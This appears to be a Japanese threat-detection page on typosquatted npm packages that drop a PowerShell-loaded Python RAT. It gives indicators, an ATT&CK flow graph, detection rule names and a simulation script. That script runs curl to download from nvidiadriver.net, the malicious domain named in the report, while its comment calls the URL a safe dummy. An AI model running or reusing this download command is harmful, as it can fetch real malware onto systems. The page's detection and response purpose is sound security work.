Windows RAT配信の手段として偽装されたPostCSS
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
攻撃者は、npmパッケージの偽装を利用して、多段階Windows RATを拡散しています。悪意のあるパッケージは、 postcss-minify-selector-parser などが、開発者環境を侵害するための正当なビルドユーティリティとして提示されています。トリガーされると、感染チェーンはPowerShellダウンローダを起動し、資格情報を盗んだり、リモートシェルアクセスを提供する能力を持つNuitkaでコンパイルされたPython RATを取得します。
調査
研究者たちは、信頼性を持たせるために正当な依存関係を参照する一連の悪意のあるnpmパッケージを発見しました。調査はJavaScriptドロッパーから始まり、PowerShellダウンローダに進み、複雑なPythonベースのペイロードで終わる層状の感染チェーンをマッピングしました。Nuitkaでコンパイルされたコンポーネントを分析することにより、研究者はRATのコマンド・アンド・コントロールプロトコルとサポートされているコマンドを再構築しました。
緩和策
ユーザーは特定された悪意のあるnpmパッケージを直ちに削除し、依存関係のツリーを確認して伝播されている可能性のあるものをチェックする必要があります。組織はまた、知られているコマンド・アンド・コントロールドメインとIPアドレスをブロックするべきです。侵害が疑われる場合、開発者はブラウザに保存された資格情報やすべての開発関連トークンをすぐに変更すべきです。
対応
Windowsエンドポイントは、次のようなアーティファクトを調査すべきです。 %TEMP%winPatch, %TEMP%.store、および %TEMP%.hostです。調査官はまた、 HKCURun レジストリキーの csshost 値を調査すべきです。開発者の作業環境全体を監査し、無許可のリモートシェル活動や資格情報の盗難を示す兆候を識別します。
"graph TB %% クラス定義 classDef technique fill:#99ccff classDef malware fill:#ff9999 classDef tool fill:#cccccc classDef persistence fill:#99ff99 %% ノード定義 attack_supply_chain["<b>手法</b> – <b>T1195.001 サプライチェーンの妥協: ソフトウェア依存関係と開発ツールの侵害</b><br/><b>説明</b>: postcss-minify-selector-parserのような類似パッケージでのnpmのパッケージ偽装。<br/><b>対象</b>: 開発者環境"] class attack_supply_chain technique attack_user_execution["<b>手法</b> – <b>T1204.005 ユーザー実行: 悪意のあるライブラリ</b><br/><b>説明</b>: 悪意のあるnpmパッケージがインポートされるとトリガーされる。<br/><b>アクション</b>: エンコードされたJavaScriptドロッパを実行する。"] class attack_user_execution technique process_powershell["<b>手法</b> – <b>T1059.001 コマンドとスクリプトのインタープリタ: PowerShell</b><br/><b>説明</b>: PowerShellを使用して悪意のあるスクリプトを作成および実行する。<br/><b>ファイル</b>: ../../settings.ps1"] class process_powershell technique attack_indicator_removal["<b>手法</b> – <b>T1070.010 インディケータの削除: マルウェアのリロケート</b><br/><b>説明</b>: ペイロードをダウンロードするために欺瞞的なドメインを使用する。<br/><b>ドメイン</b>: nvidiadriver[.]net"] class attack_indicator_removal technique tool_cmd_shell["<b>手法</b> – <b>T1059.003 コマンドとスクリプトのインタープリタ: Windowsコマンドシェル</b><br/><b>説明</b>: ペイロードバンドルを抽出するために使用される。<br/><b>トリガー</b>: ダウンロード後の実行。"] class tool_cmd_shell technique malware_vbs_bootstrapper["<b>マルウェア</b> – <b>VBSブートストラッパー</b><br/><b>説明</b>: プライマリマルウェアペイロードを起動する。"] class malware_vbs_bootstrapper malware malware_rat["<b>マルウェア</b> – <b>リモートアクセスツール (RAT)</b><br/><b>説明</b>: Nuitkaでコンパイルされたモジュールを活用するPythonベースのローダー。<br/><b>機能</b>: リモートアクセス機能を提供する。"] class malware_rat malware attack_persistence["<b>手法</b> – <b>T1547.001 ブートまたはログオンの自動開始実行: レジストリの実行キー / スタートアップフォルダ</b><br/><b>説明</b>: 持続性のためにレジストリ値を作成する。<br/><b>レジストリ値</b>: csshost"] class attack_persistence persistence attack_evasion["<b>手法</b> – <b>T1497.001 仮想化/サンドボックス回避: システムチェック</b><br/><b>説明</b>: 仮想環境を検出するためにWMIクエリを使用します。<br/><b>コマンド</b>: wmic bios get serialnumber"] class attack_evasion technique attack_c2["<b>手法</b> – <b>T1219 リモートアクセスツール</b><br/><b>説明</b>: 暗号化されたPOSTパケットを介してC2サーバーと通信を維持します。<br/><b>C2アドレス</b>: hxxp[:]//95[.]216[.]92[.]207:8080"] class attack_c2 technique attack_credential_access["<b>手法</b> – <b>T1555.003 パスワードストアからのクレデンシャル: ウェブブラウザからのクレデンシャル</b><br/><b>説明</b>: Chromeから保存された資格情報を盗みます。<br/><b>対象ファイル</b>: Login DataとLocal State"] class attack_credential_access technique %% 接続 attack_supply_chain –>|leads_to| attack_user_execution attack_user_execution –>|executes| process_powershell process_powershell –>|performs| attack_indicator_removal attack_indicator_removal –>|triggers| tool_cmd_shell tool_cmd_shell –>|launches| malware_vbs_bootstrapper malware_vbs_bootstrapper –>|installs| malware_rat malware_rat –>|establishes| attack_persistence malware_rat –>|performs| attack_evasion malware_rat –>|communicates_via| attack_c2 malware_rat –>|exfiltrates| attack_credential_access "
攻撃フロー
検出
LOLBAS WScript / CScript (プロセス作成経由)
表示
疑わしいCURLの使用 (コマンドライン経由)
表示
可能性のあるシステム列挙 (コマンドライン経由)
表示
PowerShellを使用して疑わしいディレクトリにアーカイブが抽出された (powershell経由)
表示
悪意のあるペイロードをダウンロードするPowerShellスクリプト [Windows Powershell]
表示
正規のドライバダウンロードを模倣する悪意のあるネットワーク接続の検出 [Windows ネットワーク接続]
表示
悪意のあるPowerShellおよびローダースクリプトの実行の検出 [Windows プロセス作成]
表示
## シミュレーション実行
前提条件: テレメトリおよびベースラインの事前飛行チェックが通過している必要があります。
根拠: このセクションは、検出ルールをトリガーするために設計された敵の手法(TTP)の正確な実行を詳細に説明します。コマンドと逸話は、特定されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリを生成することを目的としています。抽象的または無関係な例は誤診を引き起こす可能性があります。
-
攻撃の逸話とコマンド: 敵は、正規のソフトウェア更新プロセスとして偽装してシステムに足場を築こうとしています。これを実現するために、PowerShellを使用してネイティブの
curl.exeユーティリティを呼び出します。-k(insecure) フラグを使用することにより、SSL証明書の検証を回避し、$env:TEMPにwinPatch.zipのようなファイル名での保存先パスを指定することで、システムの定期的な更新のノイズに紛れ込もうとしています。目的は、悪意のあるペイロードをダウンロードすることです。このペイロードは実行されるとリモートアクセスを提供します。 -
回帰テストスクリプト:
# 特定の検出ルールをトリガーするシミュレーションスクリプト # ノート: これは安全上のためにダミーのURLを使用しますが、ルールに求められる正確な構造を模倣しています。 $cmd = 'curl.exe -k -o "$env:TEMPwinPatch.zip" https://nvidiadriver.net/verv1432/winpatch-xd7d.win' Write-Host "シミュレートされた悪意のあるダウンロードコマンドを実行しています..." Invoke-Expression $cmd -
クリーンアップコマンド:
# ダウンロードされたダミーファイルをクリーンアップ if (Test-Path "$env:TEMPwinPatch.zip") { Remove-Item -Path "$env:TEMPwinPatch.zip" -Force Write-Host "クリーンアップ成功: ダミーファイルが削除されました。" } else { Write-Host "クリーンアップ: ファイルが見つかりません。" }